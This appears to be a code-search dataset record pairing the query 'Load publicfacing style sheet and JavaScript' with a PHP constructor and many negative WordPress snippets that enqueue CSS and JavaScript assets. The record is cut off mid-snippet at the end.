"0.6686963",
"0.6679966",
"0.66716564",
"0.66713834",
"0.6662977",
"0.66561186",
"0.6648188",
"0.6618037",
"0.6611074",
"0.66006106",
"0.65958804",
"0.6548657",
"0.6482558",
"0.64764893",
"0.64611274",
"0.641896",
"0.63867635",
"0.634177",
"0.63340384",
"0.6281805",
"0.6211674",
"0.6200956",
"0.6200374",
"0.6179727",
"0.6179727",
"0.6179727",
"0.6142475",
"0.61362803",
"0.61025536",
"0.6084571",
"0.6071428",
"0.60665977",
"0.60642576",
"0.60625297",
"0.6022712",
"0.601404",
"0.59876794",
"0.5984233",
"0.59745497",
"0.59728974",
"0.59455544",
"0.59425503",
"0.5934979",
"0.59182614",
"0.5913388",
"0.59094805",
"0.58844674",
"0.58640224",
"0.58566016",
"0.5854559",
"0.5847363",
"0.5833903",
"0.58294594",
"0.58185434",
"0.5814128",
"0.58107656",
"0.580339",
"0.57792765",
"0.5765943",
"0.5750855",
"0.5724481",
"0.56963944",
"0.56864566",
"0.5681029",
"0.56704676",
"0.5665851",
"0.5650473",
"0.564865",
"0.56450814",
"0.56438524",
"0.56430584",
"0.56195277",
"0.5617473",
"0.56049633",
"0.56029356",
"0.559695",
"0.55725193",
"0.556856",
"0.5566056",
"0.55656767",
"0.55656767",
"0.55613136",
"0.5545456",
"0.5517967",
"0.54981154"
]
| 0.0 | -1 |
Load publicfacing style sheet and JavaScript. | private function __construct() {
add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_styles' ) );
add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_scripts' ) );
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function loadPublicSideStyles()\n\t{\n\t\twp_enqueue_style('cit-boilerplate-public-style', CIT_PLUGIN_PUBLIC_URL.'css/cit-boilerplate-public.css', '', CIT_PLUGIN_VERSION);\n\t}",
"private function load_public_styles() {\n\n\t}",
"protected function loadStylesheets() {}",
"protected function loadCss() {}",
"function wiki_api_import_css() {\n\twp_enqueue_style('style-name', get_stylesheet_uri());\n\twp_enqueue_script('script-name', get_template_directory_uri() . '/js/example.js', array(), '1.0.0', true);\n}",
"private function load_public_scripts() {\n\n\t}",
"public function enqueue_public_scripts_and_styles(){\n\t\twp_enqueue_style('wp_location_public_styles', plugin_dir_url(__FILE__). '/css/wp_location_public_styles.css');\n\t\t\n\t}",
"public function loadPublicSideScripts()\n\t{\n\t\t$localizationArray = array(\n\t\t\t'ajax_url'\t\t=> public_url('public-ajax.php'),\n\t\t);\n\n\t\twp_enqueue_script('cit-boilerplate-public-script', CIT_PLUGIN_PUBLIC_URL.'js/cit-boilerplate-public.js', array('jquery'), CIT_PLUGIN_VERSION);\n\n\t\twp_localize_script('cit-boilerplate-public-script', '$citBoilerplate', $localizationArray);\n\t}",
"public function dt_testimonial_simple_loadCssAndJs() {\n wp_register_style( 'dt_extend_style', plugins_url('assets/droit-wbpakery-addons.css', __FILE__) );\n }",
"public function load_admin_scripts_styles(){\n\t\t\n\t}",
"public function css() {\r\n\t\tif ($this->cssLink != false) {\r\n\t\t\tif($this->scriptTo) {\r\n\t\t\t\t$elem = pzk_element($this->scriptTo);\r\n\t\t\t\t$elem->append(pzk_parse('<html.css src=\"'.BASE_REQUEST.'/default/skin/'.pzk_app()->name.'/css/'.$this->cssLink.'.css\" />'));\r\n\t\t\t} else {\r\n\t\t\t\tif($page = pzk_page())\r\n\t\t\t\t\t$page->addObjCss($this->cssLink);\r\n\t\t\t}\r\n\r\n\t\t}\r\n\t\tif ($this->cssExternalLink != false) {\r\n\t\t\tif($this->scriptTo) {\r\n\t\t\t\t$elem = pzk_element($this->scriptTo);\r\n\t\t\t\t$elem->append(pzk_parse('<html.css src=\"'.$this->cssExternalLink.'\" />'));\r\n\t\t\t} else {\r\n\t\t\t\tif($page = pzk_page()) {\r\n\t\t\t\t\t$page->addExternalCss($this->cssExternalLink);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\r\n\t\t}\r\n\r\n\t}",
"public function load_assets() {\n\t\t\t//only load styles and js when needed\n\t\t\tif ( $this->is_edit_page() ) {\n\t\t\t\t//styles\n\t\t\t\twp_enqueue_style( 'thickbox' );\n\t\t\t\twp_enqueue_style( 'fancybox' );\n\t\t\t\twp_enqueue_style( 'wm-options-panel-white-label' );\n\t\t\t\tif ( ! wm_option( 'branding-panel-logo' ) && ! wm_option( 'branding-panel-no-logo' ) )\n\t\t\t\t\twp_enqueue_style( 'wm-options-panel-branded' );\n\t\t\t\twp_enqueue_style( 'color-picker' );\n\n\t\t\t\t//scripts\n\t\t\t\twp_enqueue_script( 'jquery-ui-core' );\n\t\t\t\twp_enqueue_script( 'jquery-ui-tabs' );\n\t\t\t\twp_enqueue_script( 'jquery-ui-datepicker' );\n\t\t\t\twp_enqueue_script( 'jquery-ui-slider' );\n\t\t\t\twp_enqueue_script( 'thickbox' );\n\t\t\t\twp_enqueue_script( 'fancybox' );\n\t\t\t\twp_enqueue_script( 'wm-options-panel' );\n\t\t\t\twp_enqueue_script( 'color-picker' );\n\t\t\t}\n\t\t}",
"protected function loadStylesheets()\n {\n if (!empty($GLOBALS['TBE_STYLES']['stylesheet'])) {\n $this->pageRenderer->addCssFile($GLOBALS['TBE_STYLES']['stylesheet']);\n }\n if (!empty($GLOBALS['TBE_STYLES']['stylesheet2'])) {\n $this->pageRenderer->addCssFile($GLOBALS['TBE_STYLES']['stylesheet2']);\n }\n }",
"function loadStyles() {\n\t\twp_register_style('hashee_styles', $this->pluginPath . 'css/hashee_styles.css');\n\t\twp_enqueue_style('hashee_styles');\n\t}",
"public function loadAssets()\r\n {\r\n $this->app->document->addStylesheet('elements:imagebox/assets/css/edit.css');\r\n return parent::loadAssets();\r\n }",
"function loadStyleScript() {\n # Sike\n}",
"function load()\n {\n self::loadScriptsAndStyles($this->m_themeLoad ? $this->m_themeName : false);\n }",
"function load_css() {\n wp_register_style('main', get_template_directory_uri() . '/css/main.css', array(), false, 'all');\n wp_enqueue_style('main');\n }",
"public function loadAssets(): void\n {\n $this->printStyle('//resource.css', 'print_resource_page_assets');\n }",
"public function wcufd_load_styles_scripts() {\n //main script file of the plugin\n wp_register_script( 'wcufd-front-end-js', plugins_url( 'js/wcufd-script.js',__FILE__ ), array('jquery'), '', true );\n wp_localize_script( 'wcufd-front-end-js', 'wcufd_vars', array(\n 'ajaxurl' => admin_url('admin-ajax.php'),\n 'current_user_can' => current_user_can('administrator')\n )\n );\n wp_register_style( 'wcufd-front-end-style', plugins_url( 'css/wcufd-style.css',__FILE__ ) );\n }",
"public function frontEndStyleScripts(): void\n {\n wp_enqueue_style('users-data-bootstrap', plugin_dir_url(dirname(__FILE__)) . 'assets/css/bootstrap.min.css', [], UsersListing::getVersion());\n wp_enqueue_style('users-data-fontawsome', plugin_dir_url(dirname(__FILE__)) . 'assets/css/font-awesome.min.css', [], UsersListing::getVersion());\n wp_enqueue_style('users-data-styles', plugin_dir_url(dirname(__FILE__)) . 'assets/css/users-data.css', [], UsersListing::getVersion());\n //\n wp_enqueue_script('jquery-min', plugin_dir_url(dirname(__FILE__)) . 'assets/js/jquery.min.js', ['jquery'], UsersListing::getVersion(), false);\n wp_enqueue_script('jquery-popper', plugin_dir_url(dirname(__FILE__)) . 'assets/js/popper.min.js', ['jquery'], UsersListing::getVersion(), false);\n wp_enqueue_script('bootstrap-min', plugin_dir_url(dirname(__FILE__)) . 'assets/js/bootstrap.min.js', ['jquery'], UsersListing::getVersion(), false);\n }",
"function load_dev_styles_scripts() {\n // Theme styles\n wp_enqueue_style( 'themename', CHILD_SS_URI . '/assets/dev/style.css', false, null, 'all' );\n\n // Header Scripts\n wp_enqueue_script( 'header_scripts', CHILD_SS_URI . '/assets/dev/header.js', array(), null, false );\n\n // Footer Scripts\n wp_enqueue_script( 'footer_scripts', CHILD_SS_URI . '/assets/dev/footer.js', array( 'jquery' ), null, true );\n\n // Single Scripts\n if ( is_single() ) {\n wp_enqueue_script( 'single_scripts', CHILD_SS_URI . '/assets/dev/single.js', array( 'jquery' ), null, true );\n }\n}",
"function myplugin_public_styles_scripts() {\r\n\r\n wp_enqueue_style( 'myplugin-public-style', MYPLUGIN_URL . 'public/css/public.css', '', rand());\r\n\r\n wp_enqueue_script( 'myplugin-public-script', MYPLUGIN_URL . 'public/js/public.js', array('jquery'), rand(), true );\r\n}",
"public function enqueue_public_scripts_and_styles() {\n\t\t//wp_enqueue_style( 'uclacomponentswp-backend-styles', UCLACOMPONENTSWP_PLUGIN_URL . 'core/includes/assets/css/backend-styles.css', array(), UCLACOMPONENTSWP_VERSION, 'all' );\n\t\t//wp_enqueue_script( 'uclacomponentswp-backend-scripts', UCLACOMPONENTSWP_PLUGIN_URL . 'core/includes/assets/js/backend-scripts.js', array(), UCLACOMPONENTSWP_VERSION, false );\n\t\t// wp_localize_script( 'uclacomponentswp-backend-scripts', 'uclacomponentswp', array(\n\t\t// \t'plugin_name' => __( UCLACOMPONENTSWP_NAME, 'ucla-components-for-wp' ),\n\t\t// ));\n\t// Install the UCLA Component library styles\n\twp_enqueue_style( 'ucla-lib-style', 'https://cdn.webcomponents.ucla.edu/1.0.0-beta.16/css/ucla-lib.min.css' );\n\t// Install the UCLA Component Library scripts\n\twp_enqueue_script( 'ucla-lib-script', 'https://s3-us-west-1.amazonaws.com/webcomponents.ucla.edu/public/1.0.0-beta.16/js/ucla-lib-scripts.min.js' );\n\t\n\t}",
"private function register_scripts_and_styles()\n\t\t\t{\n\n\t\t\t\tif( is_admin() )\n\t\t\t\t{\n\n\t\t \t\t//$this->load_file('friendly_widgets_admin_js', '/themes/'.THEMENAME.'/admin/js/widgets.js', true);\n\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{ \n\n\t\t \t\t//$this->load_file('friendly_widgets', '/themes/'.THEMENAME.'/theme_assets/js/widgets.js', true);\n\n\t\t\t\t}\n\n\t\t\t}",
"private function register_scripts_and_styles()\n\t\t\t{\n\n\t\t\t\tif( is_admin() )\n\t\t\t\t{\n\n\t\t \t\t//$this->load_file('friendly_widgets_admin_js', '/themes/'.THEMENAME.'/admin/js/widgets.js', true);\n\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{ \n\n\t\t \t\t//$this->load_file('friendly_widgets', '/themes/'.THEMENAME.'/theme_assets/js/widgets.js', true);\n\n\t\t\t\t}\n\n\t\t\t}",
"private function fn_load_scripts() {\n\n\t\t/**\n\t\t * Load Common CSS and JS for a blank Page\n\t\t */\n\n\t\t$fixed_version = $this->fixed_version;\n\t\t$common_css_version = '0.3';\n\t\t$common_js_version = '0.1';\n\t\t$custom_css_version = '0.4';\n\t\t$custom_js_version = '0.4';\n\n\t\t$registered_styles = $this->registered_css;\n\t\t$registered_scripts = $this->registered_js;\n\n\t\t/**\n\t\t * Load CSS--------------------------------------------------------------\n\t\t */\n\n /** Load Google Fonts */\n\t\t$this->google_fonts['google_opensans'] = $registered_styles['google_opensans'];\n\n\t\t/** Load CSS Assets @todo Move the components in their containers */\n\t\t\n\t\t$this->css_assets['bootstrap'] = $registered_styles['bootstrap'].\"?ver=\".$fixed_version;\n\t\t$this->css_assets['fontawesome'] = $registered_styles['fontawesome'].\"?ver=\".$fixed_version;\n\t\t\n\t\t/**\n\t\t * Load JS--------------------------------------------------------------\n\t\t */\n\t\t\n\t\t/** Load footer js **/\n\t\t$this->footer_js['jquery'] = $registered_scripts['jquery'].\"?ver=\".$fixed_version;\t\t\n\t\t$this->footer_js['jquery-ui'] = $registered_scripts['jquery-ui'].\"?ver=\".$fixed_version;\n\n\t\t$this->footer_js['bootstrap'] = $registered_scripts['bootstrap'].\"?ver=\".$fixed_version;\n\t\t/**let other controllers load their own css/js files **/\n\t}",
"protected function loadJavascript() {}",
"public function vpup_load_styles() \n {\n // Enqueue our styles.\n wp_enqueue_style( 'vpup-main-styles', VPUP_URL . 'wp-vue/src/assets/css/main.css' );\n wp_enqueue_style( 'vpup-font-awesome', 'https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css' );\n }",
"function scripts_styles() {\n\n\t\t// No need to process if in admin.\n\t\tif ( is_admin() ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$theme_url = get_template_directory_uri();\n\t\t$main_css_url = $theme_url . '/style.css';\n\t\t$main_css_path = get_template_directory() . '/style.css';\n\t\t$main_css_ver = file_exists( $main_css_path ) ? filemtime( $main_css_path ) : '';\n\n\t\twp_enqueue_style( 'superiocity-style', $main_css_url, null, $main_css_ver );\n\t\twp_deregister_script( 'wp-embed' );\n\t}",
"public function load_styles() {\n\t wp_enqueue_style( 'core', get_stylesheet_uri() );\n\t\twp_enqueue_style( 'main', get_stylesheet_directory_uri() . '/assets/css/main-style.min.css' );\n\n\t\t// ADD MORE STYLE HERE ...\n\t\t\n\t}",
"public function js_css_public(){\n\n wp_enqueue_style('asRange', plugin_dir_url(__FILE__). 'libs/assets/css/asRange.min.css', false, $this->version());\n wp_enqueue_style('select2', plugin_dir_url(__FILE__). 'libs/assets/css/select2.min.css', false, $this->version());\n wp_enqueue_style('flatpickr', plugin_dir_url(__FILE__). 'libs/assets/css/flatpickr.min.css', false, $this->version());\n wp_enqueue_style('metform-ui', plugin_dir_url(__FILE__). 'libs/assets/css/metform-ui.css', false, $this->version());\n wp_enqueue_style('font-awesome', plugin_dir_url(__FILE__). 'libs/assets/css/font-awesome.min.css', false, $this->version());\n wp_enqueue_style('metform-style', plugin_dir_url(__FILE__). 'libs/assets/css/style.css', false, $this->version());\n \n wp_enqueue_script('asRange', plugin_dir_url(__FILE__) . 'libs/assets/js/jquery-asRange.min.js', array(), $this->version(), true);\n wp_enqueue_script('select2', plugin_dir_url(__FILE__) . 'libs/assets/js/select2.min.js', array(), $this->version(), true);\n wp_enqueue_script('flatpickr', plugin_dir_url(__FILE__) . 'libs/assets/js/flatpickr.js', array(), $this->version(), true);\n \n wp_register_script('recaptcha', 'https://www.google.com/recaptcha/api.js?onload=onloadMetFormCallback&render=explicit', array(), $this->version(), true);\n wp_enqueue_script('metform-submission', plugin_dir_url(__FILE__) . 'libs/assets/js/submission.js', array(), $this->version(), true);\n \n\n }",
"function chappell_construction_load_stylesheets() {\n if (is_front_page()) {\n add_action('wp_enqueue_scripts', 'chappell_construction_enqueue_front_page_stylesheet', 6);\n }\n if (get_post_type() == 'residences') {\n add_action('wp_enqueue_scripts', 'chappell_construction_enqueue_residence_stylesheet', 6);\n }\n}",
"public function add_scripts_and_styles()\n {\n // Estilos css \n wp_register_style( 'wiAjustesStyles', WI_PLUGIN_URL . '/style.css', null, WI_VERSION );\n wp_enqueue_style( 'wiAjustesStyles' );\n\n // Scripts de javascript\n wp_enqueue_script('wiAjustesStylesJs', WI_PLUGIN_URL . '/script.js' , array('jquery'));\n }",
"public function onLoad() {\n\t\t$this->plugin->wrapper = $this->plugin->factory->wrapper;\n\t\twp_enqueue_style( 'clrchs-admin', $this->plugin->wrapper->getURL('assets/admin.css'), [], $this->plugin->version);\n\t}",
"protected function loadJavaScripts() {}",
"function myplugin_enqueue_style_public() {\n\n\t/*\n\t\twp_enqueue_style(\n\t\t\tstring $handle,\n\t\t\tstring $src = '',\n\t\t\tarray $deps = array(),\n\t\t\tstring|bool|null $ver = false,\n\t\t\tstring $media = 'all'\n\t\t)\n\t*/\n\n\t$src = plugin_dir_url( __FILE__ ) .'public/css/example-public.css';\n\n\twp_enqueue_style( 'myplugin-public', $src, array(), null, 'all' );\n\n}",
"private function __register_scripts() {\n\t\t// Load all the registered scripts\n\t\t$assets_loader = new SwpmvcAssetsLoader();\n\t\t$assets = $assets_loader->fn_load_scripts();\n\n\t\t//Extract CSS Assets and put them into Registered CSS Container\n\t\t$this->registered_css = $assets[ 'css' ];\n\n\t\t//Extract JS Assets and put them into Registered JS Container\n\t\t$this->registered_js = $assets[ 'js' ];\n\n\t\t//Some cleanup\n\t\tunset($assets_loader);\n\t\tunset($assets);\n\n\t\t//Load all the common CSS and JS which will be required for all the pages.\n\t\t$this->fn_load_scripts();\n\t}",
"function cssAndJs() {\r\n\t\t$siteurl = get_bloginfo('wpurl');\r\n\t\t// include css in any case. e.g. for widget\r\n\t\tprint '<link rel=\"stylesheet\" type=\"text/css\" href=\"'.$siteurl.'/wp-content/plugins/uwr1results/uwr1results.css\" />'.\"\\n\";\r\n\t\tif (!defined('IS_UWR1RESULTS_VIEW')) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t\t$siteurlPath = substr($siteurl, strlen('http://'.$_SERVER['HTTP_HOST']));\r\n\t\tif ('/' != $siteurlPath{0}) {\r\n\t\t\t$siteurlPath = '/'.$siteurlPath;\r\n\t\t}\r\n\t\t//print '<script type=\"text/javascript\" src=\"'.$siteurl.'/wp-content/plugins/uwr1results/uwr1results.js.php?siteurl='.urlencode($siteurlPath)./*($https?'ssl=1':'').*/'\"></script>'.\"\\n\";\r\n\t}",
"public function loadStylesAndScripts() {\n\t\tglobal $upload_url;\n\n\t\tif ( !$this->is_admin ) {\n\t\t\t// Add minified css of all themes or the selected theme css\n\t\t\tif ( ( !empty( $this->settings->themes['themes'] ) && $this->settings->themes['themes'] == 'true' ) && file_exists( $upload_url['basedir'] . '/good-old-gallery-themes.css') ) {\n\t\t\t\twp_enqueue_style( 'good-old-gallery-themes', $upload_url['baseurl'] . '/good-old-gallery-themes.css' );\n\t\t\t}\n\t\t\t// Add selected themes css\n\t\t\telse if ( !empty( $this->settings->themes['default'] ) && empty( $this->settings->themes['all'] ) ) {\n\t\t\t\twp_enqueue_style( 'good-old-gallery-theme', $this->settings->themes['theme']['url'] . '/' . $this->settings->themes['default'] );\n\t\t\t}\n\n\t\t\t// Include selected slider plugin files\n\t\t\tif ( !empty( $this->settings->settings['plugin'] ) ) {\n\t\t\t\tforeach ( $this->settings->plugin['setup']['files'] as $file ) {\n\t\t\t\t\twp_enqueue_script( 'slider', GOG_PLUGIN_URL . 'plugins/' . $this->settings->settings['plugin'] . '/' . $file, array( 'jquery' ), '', FALSE );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Includ default good-old-gallery.css\n\t\t\tif ( $this->settings->themes['default_css'] == 'true' ) {\n\t\t\t\twp_enqueue_style( 'good-old-gallery', GOG_PLUGIN_URL . 'assets/css/good-old-gallery.css' );\n\t\t\t}\n\t\t}\n\t}",
"public function loadPublic()\n {\n // Disable debug, because startup almost complete\n Settings::toggleDebug(false);\n // Load standard public, to be safe require once\n require_once Constants::path_public . '/index.php';\n // Set startup complete, so debug can't enable itself again.\n Constants::$startup_complete = true;\n }",
"function excalibur_css_js() {\n\tglobal $wp_styles;\n\t\t// register main stylesheet\n\t\twp_register_style('excalibur-stylesheet', get_stylesheet_directory_uri() . '/assets/css/styles.css', array(), '', 'all');\n\t\t\n\t\twp_enqueue_style( 'excalibur-stylesheet' );\n}",
"public function loadScripts() {\n $graphcss = $this->getProperty('graphcss');\n $customcss = $this->getProperty('customcss');\n $loadjquery = $this->getProperty('loadjquery');\n\n $cssUrl = $this->sekug->config['cssUrl'].'web/';\n $jsUrl = $this->sekug->config['jsUrl'].'web/';\n\n if($loadjquery == 1){\n $this->modx->regClientStartupScript($jsUrl.'libs/'.$this->sekug->config['jqueryFile']);\n }\n if($customcss>''){\n $this->modx->regClientCSS($this->modx->getOption('assets_url').$customcss);\n } else {\n $this->modx->regClientCSS($cssUrl.'gallery.structure.css');\n }\n if($graphcss>''){\n $this->modx->regClientCSS($this->modx->getOption('assets_url').$graphcss);\n } else {\n $this->modx->regClientCSS($cssUrl.'directory.graph.css');\n }\n }",
"function painter_head() {\n\t\techo '<script>window.ideaspace_site_path = \"' . url('/') . '\";</script>';\n\n\t\techo '<script src=\"' . url('public/a-painter/vendor/aframe-input-mapping-component.js') . '\"></script>';\n echo '<script src=\"' . url('public/a-painter/build.js') . '\"></script>';\n echo '<script src=\"' . url('public/a-painter/vendor/aframe-teleport-controls.min.js') . '\"></script>';\n echo '<script src=\"' . url('public/a-painter/vendor/aframe-tooltip-component.min.js') . '\"></script>';\n echo '<link rel=\"stylesheet\" href=\"' . url('public/a-painter/css/main.css') . '\">';\n echo '<link rel=\"manifest\" href=\"' . url('public/a-painter/manifest.webmanifest') . '\">';\n}",
"function _s_scripts() {\n\twp_enqueue_style( 'main.css', get_stylesheet_directory_uri() . '/dist/src/style.css', false, '6.9' );\n\twp_enqueue_script( 'main.js', get_stylesheet_directory_uri() . '/dist/main.js', false, false, true );\n}",
"public function init() {\n\t\tparent::init();\n\t\t\t\t\n\t\t// Register site CSS file\n\t\t$cs = Yii::app()->clientscript;\n\t\t$cs->registerCssFile(Yii::app()->baseUrl.'/css/site.css');\n\t}",
"public function initialize () {\n PageLayout::addStylesheet($this->assets . 'styles.css');\n $this->addScript('script.js');\n }",
"function load_prod_styles_scripts() {\n // Theme styles\n wp_enqueue_style( 'themename', CHILD_SS_URI . '/assets/dist/style.min.css', false, null, 'all' );\n\n // Header Scripts\n wp_enqueue_script( 'header_scripts', CHILD_SS_URI . '/assets/dist/header.min.js', array(), null, false );\n\n // Footer Scripts\n wp_enqueue_script( 'footer_scripts', CHILD_SS_URI . '/assets/dist/footer.min.js', array( 'jquery' ), null, true );\n\n // Single Scripts\n if ( is_single() ) {\n wp_enqueue_script( 'single_scripts', CHILD_SS_URI . '/assets/dist/single.min.js', array( 'jquery' ), null, true );\n }\n}",
"function load_js_css() {\n\n\t\t\twp_register_script( 'fontawesome-all', get_stylesheet_directory_uri() . '/js/fontawesome-all.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'owl', get_stylesheet_directory_uri() . '/js/owl.carousel.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'selectric', get_stylesheet_directory_uri() . '/js/jquery.selectric.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'select', get_stylesheet_directory_uri() . '/js/select.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'jquery-ui', get_stylesheet_directory_uri() . '/js/jquery-ui.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'tab_menu', get_stylesheet_directory_uri() . '/js/tab_menu.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'aos', get_stylesheet_directory_uri() . '/js/aos.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'rangeslider', get_stylesheet_directory_uri() . '/js/rangeslider.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'bootstrap', get_stylesheet_directory_uri() . '/js/bootstrap.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'easymap', get_stylesheet_directory_uri() . '/js/easymap.plugin.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'markerclusterer', get_stylesheet_directory_uri() . '/js/markerclusterer.min.js', array(), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'customscrollbar', get_stylesheet_directory_uri() . '/js/jquery.mCustomScrollbar.concat.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'ddslick', get_stylesheet_directory_uri() . '/js/jquery.ddslick.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\t\t\twp_register_script( 'project045-main', get_stylesheet_directory_uri() . '/js/main.min.js', array( 'jquery' ), Project045_Definitions::$scripts_version, true );\n\n\t\t\twp_enqueue_script( 'fontawesome-all' );\n\t\t\twp_enqueue_script( 'owl' );\n\t\t\twp_enqueue_script( 'selectric' );\n\t\t\twp_enqueue_script( 'select' );\n\t\t\twp_enqueue_script( 'jquery-ui' );\n\t\t\twp_enqueue_script( 'tab_menu' );\n\t\t\twp_enqueue_script( 'aos' );\n\t\t\twp_enqueue_script( 'rangeslider' );\n\t\t\twp_enqueue_script( 'bootstrap' );\n\t\t\twp_enqueue_script( 'easymap' );\n\t\t\twp_enqueue_script( 'markerclusterer' );\n\t\t\twp_enqueue_script( 'customscrollbar' );\n\t\t\twp_enqueue_script( 'ddslick' );\n\t\t\twp_enqueue_script( 'project045-main' );\n\n\t\t}",
"public function loadCss()\n {\n wp_register_style(\n 'fortytwo_two_factor_style_intl',\n plugin_dir_url(__FILE__) . '../Css/intlTelInput.css',\n false,\n '1.0.0'\n );\n wp_register_style(\n 'fortytwo_two_factor_style_plugin',\n plugin_dir_url(__FILE__) . '../Css/plugin.css',\n false,\n '1.0.0'\n );\n wp_enqueue_style('fortytwo_two_factor_style_intl');\n wp_enqueue_style('fortytwo_two_factor_style_plugin');\n }",
"function assets(){\n\t\t\twp_enqueue_style( 'sp-2020-styles', get_template_directory_uri() .'/assets/css/main.css', array(), SPUTZNIK_2020_THEME_VERSION );\n\t\t\twp_enqueue_script( 'sp-2020-js', get_template_directory_uri() . '/assets/js/main.js', array('jquery'), SPUTZNIK_2020_THEME_VERSION, true );\n\n\t\t}",
"function wpdocs_theme_name_scripts() {\n wp_enqueue_style('pva-style', get_stylesheet_uri());\n wp_enqueue_style('pva-bootstrap', get_stylesheet_directory_uri() . '/css/bootstrap.min.css', array(), '1.0.0', 'all');\n wp_enqueue_script('pva-script', get_template_directory_uri() . '/js/sitescript.js', array(), '1.0.0', true);\n}",
"public function loadAssets() {\r\n\t\t$this->app->document->addScript('elements:relateditems/relateditems.js');\r\n\t}",
"function css_files() {\n\t\twp_enqueue_style('escalate_network-admin-global', $this->plugin_url .'/css/styles-admin-global.css');\n\t}",
"function load_stylesheets() {\n\n\twp_register_style('myCSS' , get_template_directory_uri() . '/style.css', array(), false, 'all');\n\twp_enqueue_style('myCSS');\n}",
"function tn_sh_loadcss() {\n\n wp_enqueue_style('tn_sh_obsidian', plugin_dir_url(__FILE__) . '/lib/highlight/styles/obsidian.css');\n}",
"public function setup_scripts_and_styles() {\n\t\tadd_action( 'wp_enqueue_scripts', array( $this, 'enqueue_discogs_css' ), 50 );\n\t\tadd_action( 'wp_enqueue_scripts', array( $this, 'enqueue_discogs_js' ), 10 );\n\t}",
"public function load_assets() {\n\t\t\t// get_template_directory_uri() . '/assets/js/scripts-bundled.js',\n\n\t\tif ( strstr( $_SERVER['SERVER_NAME'], 'one.wordpress.test' ) ) {\n\t\t\twp_enqueue_script(\n\t\t\t\t'university-javascript',\n\t\t\t\t'http://localhost:3000/bundled.js',\n\t\t\t\tnull,\n\t\t\t\t1,\n\t\t\t\ttrue\n\t\t\t);\n\t\t} else {\n\t\t\twp_enqueue_script(\n\t\t\t\t'university-vendor-js',\n\t\t\t\tget_theme_file_uri( '/bundled-assets/vendors~scripts.8c97d901916ad616a264.js' ),\n\t\t\t\tnull,\n\t\t\t\t1,\n\t\t\t\ttrue\n\t\t\t);\n\t\t\twp_enqueue_script(\n\t\t\t\t'university-script-js',\n\t\t\t\tget_theme_file_uri( ' / bundled - assets / scripts.9407ba0c9e80d0b7c41d.js' ),\n\t\t\t\tnull,\n\t\t\t\t1,\n\t\t\t\ttrue\n\t\t\t);\n\n\t\t\twp_enqueue_style(\n\t\t\t\t'main-style',\n\t\t\t\tget_theme_file_uri( ' / bundled - assets / styles.9407ba0c9e80d0b7c41d.css' ),\n\t\t\t\tnull,\n\t\t\t\t1,\n\t\t\t\tfalse\n\t\t\t);\n\t\t}\n\n\t\twp_enqueue_style(\n\t\t\t'font-awesome-style',\n\t\t\t'//maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css',\n\t\t\tarray(),\n\t\t\t'4.7.0',\n\t\t\tfalse\n\t\t);\n\n\t\twp_enqueue_style(\n\t\t\t'roboto-font-style',\n\t\t\t'//fonts.googleapis.com/css?family=Roboto+Condensed:300,300i,400,400i,700,700i|Roboto:100,300,400,400i,700,700i',\n\t\t\tarray(),\n\t\t\t'1.0.0',\n\t\t\tfalse\n\t\t);\n\n\t}",
"function loadlibrary() {\n\t\twp_enqueue_style( 'normalize', get_template_directory_uri() . '/css/normalize.css' );\n\t\twp_enqueue_style( 'theme', get_stylesheet_uri() );\n\t\twp_enqueue_style( 'fontawesome', get_template_directory_uri() . '/css/font-awesome.min.css' );\n\t}",
"public function register_scripts()\n {\n wp_register_style(\n 'fau-oembed-style',\n plugins_url('assets/css/fau-oembed.css', plugin()->getBasename()),\n [],\n plugin()->getVersion()\n ); \n }",
"function ct_include_style () {\n\tif ( !is_admin() ) {\n\t\twp_enqueue_style( 'christatimmer', get_stylesheet_uri() );\n\t}\n}",
"function load_styles() {\n\t\tglobal $redux_options;\n\n\t\t$bs = $redux_options['opt-bootstrap'];\n\n\t\tif ( $bs == 1 ) {\n\t\t\t//Load from CDN//\n\t\t\twp_enqueue_style( 'bootstrap-script', '//maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css', array(), '3.3.2' );\n\t\t} elseif ( $bs == 2 ) {\n\t\t\t//Load from plugin//\n\t\t\twp_enqueue_style( 'bootstrap-script', dirname( __FILE__ ).'/assets/bootstrap/css/bootstrap.min.css', array(), '3.3.2' );\n\t\t} elseif ( $bs == 3 ) {\n\t\t\t//load from nowhere... They have it loaded elsewhere... lets check to be sure though\n\t\t} else {\n\t\t\t//load from plugin. (fallback)//\n\t\t\twp_enqueue_style( 'bootstrap-script', dirname( __FILE__ ).'/assets/bootstrap/css/bootstrap.min.css', array(), '3.3.2' );\n\t\t}\n\n\t\twp_enqueue_style( 'wppm-styes', plugin_dir_url( __FILE__ ).'assets/css/wppm.css', array(), '1');\n\t\twp_enqueue_style( 'fa-styes', plugin_dir_url( __FILE__ 